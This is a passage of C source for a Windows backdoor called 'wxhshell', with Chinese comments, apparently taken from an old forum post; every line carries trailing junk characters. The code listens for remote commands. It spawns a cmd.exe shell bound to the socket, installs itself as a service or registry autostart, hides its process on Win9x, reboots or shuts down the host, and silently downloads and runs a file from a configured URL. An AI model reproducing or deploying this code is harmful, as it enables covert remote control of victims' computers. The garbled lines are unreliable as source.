      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b8xfV{3L  
    break; gl4 f9Ff  
  } )e$-B]>7z  
  // 安装 ~<Qxw>S#  
  case 'i': { EwJn1Mvq  
    if(Install()) ; yC`5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5|H(N}S_  
    else t@mw f3,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5+PBS)pJ]%  
    break; /VOST^z!  
    } RAJ |#I1  
  // 卸载 Kwmo)|7uPU  
  case 'r': { ;bu;t#  
    if(Uninstall()) XsCbJ[Z_?q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Y kH  
    else q+=@kXs>+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UVi/Be#|  
    break; 9(\N+  
    } I;PO$T  
  // 显示 wxhshell 所在路径 d3hTz@JY  
  case 'p': { BwA~*5TFu  
    char svExeFile[MAX_PATH]; <i @jD  
    strcpy(svExeFile,"\n\r"); \%Ih 6  
      strcat(svExeFile,ExeFile); v8M#%QoA  
        send(wsh,svExeFile,strlen(svExeFile),0); m(Xr5hw:6  
    break; &_TjRj"  
    } Q#AHEm{9;s  
  // 重启 M(gWd8?#  
  case 'b': { )Syf5I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G\+MT(&5  
    if(Boot(REBOOT)) [1X5r<(W5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]uXsl0'`V  
    else { Ho*RLVI0U  
    closesocket(wsh); A ba%Gh  
    ExitThread(0); \{^yB4F_Z  
    } N`:b vr  
    break; `'t;BXedz/  
    } <OFqUp*l  
  // 关机 23?0'AU  
  case 'd': {  PW\FcT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V)?g4M3}  
    if(Boot(SHUTDOWN)) i(#c Yb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ya {1/AaM  
    else { L{ ^@O0S  
    closesocket(wsh); }Bg<Fm  
    ExitThread(0); icbYfgQ  
    } YZ+g<HXB  
    break; $CV'p/^En  
    } \r&@3a.>  
  // 获取shell nFn`>kQ  
  case 's': { g#&##f  
    CmdShell(wsh); {N`<e>A]{  
    closesocket(wsh); +=xRr?F  
    ExitThread(0); 69w"$V k  
    break; |1 6v4 R  
  } pNsLoNZ3w  
  // 退出 (M?Q9\X  
  case 'x': { _ q1|\E%`h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +F6_P  
    CloseIt(wsh); BFRSYwPr  
    break; X+BSneu  
    } y6yseR!  
  // 离开 $+N^ s^  
  case 'q': { `cRB!w=KHV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T`G"2|ISS  
    closesocket(wsh); L-TVe  
    WSACleanup(); 'Z9F0l"Nr  
    exit(1); Y3&ecEE  
    break; F'Vl\qPt  
        } P.P>@@+d  
  } I8:&Btf  
  } ${2fr&Tp  
XOFaS '.  
  // 提示信息 _YUF /B'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +Enff0 =+  
} Bbp9Q,4  
  } bS"M*  
{NDe9V5  
  return; h0pr"]sO;$  
} S?tLIi/  
Ku'U^=bVm:  
// shell模块句柄 Wuz~$SU  
int CmdShell(SOCKET sock) 8hA=$}y&x  
{ ApBThW *E  
STARTUPINFO si; N$b;8F  
ZeroMemory(&si,sizeof(si)); I'YotV7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (`xnA~BN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dkC/ ?R  
PROCESS_INFORMATION ProcessInfo; B\yq% m  
char cmdline[]="cmd"; SW, Po>Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a^,RbV/  
  return 0; }A ^,y  
} P ie!Su`  
|0mI3r  
// 自身启动模式 _J!mhU A  
int StartFromService(void) (iP,YKG1?  
{ ,:{+ H  
typedef struct x=)$sD-3  
{  (La  
  DWORD ExitStatus; _XPc0r:?>  
  DWORD PebBaseAddress; u&bU !ZI  
  DWORD AffinityMask; bc-)y3gHU  
  DWORD BasePriority; vL0Ol -Vt  
  ULONG UniqueProcessId; :Aw VeX@  
  ULONG InheritedFromUniqueProcessId; xb\:H@92  
}   PROCESS_BASIC_INFORMATION; *@^0xz{\z  
zBfBYhS-  
PROCNTQSIP NtQueryInformationProcess; [t'"4  
\:7EKzQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; //|Vj | =  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P!EX;+7+x  
NR{:4zJT  
  HANDLE             hProcess; 4r&~=up]  
  PROCESS_BASIC_INFORMATION pbi; '~ 0&m]N  
;;5i'h~?]J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ],|B4\b;  
  if(NULL == hInst ) return 0; ^e ii 4  
8EA?'~"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IgL8u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rJ>8|K[kt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f6)H!SI  
^Du_e(TiyK  
  if (!NtQueryInformationProcess) return 0; ZxQP,Ys_Y  
wxxC&!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F^-4Pyq@  
  if(!hProcess) return 0; @dNbL}qQ  
<5%We(3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; htaLOTO;A  
7j8_O@_  
  CloseHandle(hProcess); ;q2T*4NN  
6~LpBlb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ok!{2$P8U9  
if(hProcess==NULL) return 0; &@+; ]t  
)3  
HMODULE hMod; "5K: "m  
char procName[255]; ^da-R;o]  
unsigned long cbNeeded; (n\ cs$  
";]m]PRAam  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QTH yH   
?%(*bRV -  
  CloseHandle(hProcess); Pl4d(2 7  
;nE}%lT  
if(strstr(procName,"services")) return 1; // 以服务启动 |(5=4j]  
z?xd\x  
  return 0; // 注册表启动 |1o]d$3m  
} 8z"Yo7no  
sTDBK!9I  
// 主模块 FceT'  
int StartWxhshell(LPSTR lpCmdLine) 5Mr:(|JyV  
{ Y|F);XXIl  
  SOCKET wsl; g=Lt 2UIJ  
BOOL val=TRUE; ]Ea-?IhD  
  int port=0; OgX."pK  
  struct sockaddr_in door; ||f 4f3R'  
4.TG&IQ nN  
  if(wscfg.ws_autoins) Install(); U' Cp3>  
DNPK1e3a{  
port=atoi(lpCmdLine); x& S>Mr  
{$^|^n5j  
if(port<=0) port=wscfg.ws_port; v]v f(]""  
3-'|hb  
  WSADATA data; J7ln6Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k>"I!&#g  
Ad`IgZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -SQYr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A:f+x|[  
  door.sin_family = AF_INET; \]K-<&f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zh@\+1]  
  door.sin_port = htons(port); f+ &yc'[  
|@RO&F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2k_Bo~.  
closesocket(wsl); sdLFBiR  
return 1; {<@~;iq  
} /.r($S g^  
15COwc*k  
  if(listen(wsl,2) == INVALID_SOCKET) { ?4_;9MkN  
closesocket(wsl); _[ x(p6Xp  
return 1; 8'y|cF%U  
} 8Bhng;jX  
  Wxhshell(wsl); 4J  s>yP  
  WSACleanup(); r"+ WUU  
kcle|B  
return 0; ;1KhUf;&F  
3; A1[E6K  
} vzL>ZBe Z  
kQ +   
// 以NT服务方式启动 ]zO]*d=m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g!$ "CX%8  
{ {RK#W~h  
DWORD   status = 0; rTH@PDk>)  
  DWORD   specificError = 0xfffffff; _R]h]<TQ  
bWqGy pq4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QO8/?^d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  [7bY(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W6pS.}  
  serviceStatus.dwWin32ExitCode     = 0; ?NL2|8  
  serviceStatus.dwServiceSpecificExitCode = 0; \vI_%su1N  
  serviceStatus.dwCheckPoint       = 0; |l9AgwDg  
  serviceStatus.dwWaitHint       = 0; %UmE=V  
bnlL-]]9z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R~`Y6>o~9:  
  if (hServiceStatusHandle==0) return; (/%}a`2#o  
QwhPN'U  
status = GetLastError(); ;BqX=X+#  
  if (status!=NO_ERROR) E$cr3 t7Xy  
{ +wmfl:\^{H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >,DR{A2hSB  
    serviceStatus.dwCheckPoint       = 0; 7 ir T6O<.  
    serviceStatus.dwWaitHint       = 0; }5~ ;jN=k  
    serviceStatus.dwWin32ExitCode     = status; X@arUs7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,GK>|gNsb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m>iuy:ti  
    return; ~Sh}\&3p  
  } '@$?A>.cj  
\R~Lf+q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !n7?w@2a'  
  serviceStatus.dwCheckPoint       = 0; 5+U~ZW0|+  
  serviceStatus.dwWaitHint       = 0; I0Vm^\8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :7R\"@V4  
} sIy  LW  
rJAY7/u  
// 处理NT服务事件,比如:启动、停止 "PX~Yc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |PWLFiT(>  
{ Qwb@3{  
switch(fdwControl) IcA]<}0!"v  
{ r@_;L>  
case SERVICE_CONTROL_STOP: o*<(,I%  
  serviceStatus.dwWin32ExitCode = 0; {vaq,2_w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X3nwA#If1  
  serviceStatus.dwCheckPoint   = 0; U<*dDE~z  
  serviceStatus.dwWaitHint     = 0; *@O;IiSE  
  { 9qw~]W~Nm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $lO\eQGxB  
  } =%a.C(0&G  
  return; "$WZd  
case SERVICE_CONTROL_PAUSE: G",+jR]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D,NjDIG8  
  break; rP*?a~<  
case SERVICE_CONTROL_CONTINUE: 5vS'Qhc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lY6U$*9c  
  break; j*CnnM#n  
case SERVICE_CONTROL_INTERROGATE: #oHHKl=M  
  break; UOa{J|k>h  
}; Q} / :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v'|Dj^3[  
} }+SnY8A=KZ  
b7\nCRY  
// 标准应用程序主函数 3c6<JW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) le*pd+>j  
{ W] RxRdY6[  
k(T/yd rw  
// 获取操作系统版本 _Wgg=A"G  
OsIsNt=GetOsVer(); jML}{>Gy8S  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  6CCM7  
I+}h+[W  
  // 从命令行安装 hGPjH=^EM  
  if(strpbrk(lpCmdLine,"iI")) Install(); S:Hg =|R  
9X!OQxmg  
  // 下载执行文件 J H6\;G6  
if(wscfg.ws_downexe) { P,,@&* :  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d=q2Or   
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Z7{|B5}Y  
} :g][99  
0Tq6\:  
if(!OsIsNt) { {uq  
// 如果时win9x,隐藏进程并且设置为注册表启动 T@X!vCjf6  
HideProc(); qg+ 8i9Y!  
StartWxhshell(lpCmdLine); qF>}"m  
} ).xQ~A\.  
else SC'fT!  
  if(StartFromService()) 1;SWfKU?.  
  // 以服务方式启动 c\n\gQ:LQ  
  StartServiceCtrlDispatcher(DispatchTable); `2 {x 8A  
else e5MX5 T^  
  // 普通方式启动 g&v2=&aj  
  StartWxhshell(lpCmdLine); Zpg$:Rr  
75gE>:f  
return 0; Dk/;`sXV  
}
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只看该作者 1 发表于: 2006-10-10
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